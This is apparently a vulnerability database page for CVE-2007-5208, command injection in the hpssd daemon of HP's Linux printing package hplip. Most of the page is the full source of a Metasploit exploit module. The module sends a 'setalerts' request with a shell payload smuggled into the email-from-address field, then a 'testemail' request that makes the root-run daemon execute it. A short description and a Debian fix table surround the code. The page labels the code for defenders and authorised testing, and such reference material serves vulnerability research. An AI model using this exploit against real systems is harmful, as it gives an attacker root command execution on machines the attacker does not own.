CVE-2007-5208
Description
hpssd in Hewlett-Packard Linux Imaging and Printing Project (hplip) 1.x and 2.x before 2.7.10 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a from address, which is not properly handled when invoking sendmail.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
hplip - 'hpssd.py' From Address Arbitrary Command Execution (Metasploit)
##
# $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution',
'Description' => %q{
This module exploits a command execution vulnerable in the hpssd.py
daemon of the Hewlett-Packard Linux Imaging and Printing Project.
According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
This module was written and tested using the Fedora 6 Linux distribution.
On the test system, the daemon listens on localhost only and runs with
root privileges. Although the configuration shows the daemon is to
listen on port 2207, it actually listens on a dynamic port.
NOTE: If the target system does not have a 'sendmail' command installed,
this vulnerability cannot be exploited.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10617 $',
'References' =>
[
[ 'CVE', '2007-5208' ],
[ 'OSVDB', '41693' ],
[ 'BID', '26054' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# inetd isn't used on FC6/7 (xinetd is)
# netcat doesn't have -e by default
}
},
'Targets' =>
[
[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 04 2007'
))
register_options(
[
Opt::RPORT(2207),
], self.class)
end
def exploit
connect
#cmd = "nohup " + payload.encoded
cmd = payload.encoded
username = 'root'
toaddr = 'nosuchuser'
# first setalerts
print_status("Sending 'setalerts' request with encoded command line...")
msg = "username=#{username}\n" +
"email-alerts=1\n" +
#"email-from-address=`#{cmd}`\n" +
"email-from-address=x;#{cmd};\n" +
"email-to-addresses=#{toaddr}\n" +
"msg=setalerts\n"
sock.put(msg)
# next, the test email command
print_status("Sending 'testemail' request to trigger execution...")
msg = "msg=testemail\n"
sock.put(msg)
end
end
Metasploit modules
OS impact
Debian Fixed 4 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.6.10-4.3 |
| sid | Fixed | 1.6.10-4.3 |
| bullseye | Fixed | 1.6.10-4.3 |
| bookworm | Fixed | 1.6.10-4.3 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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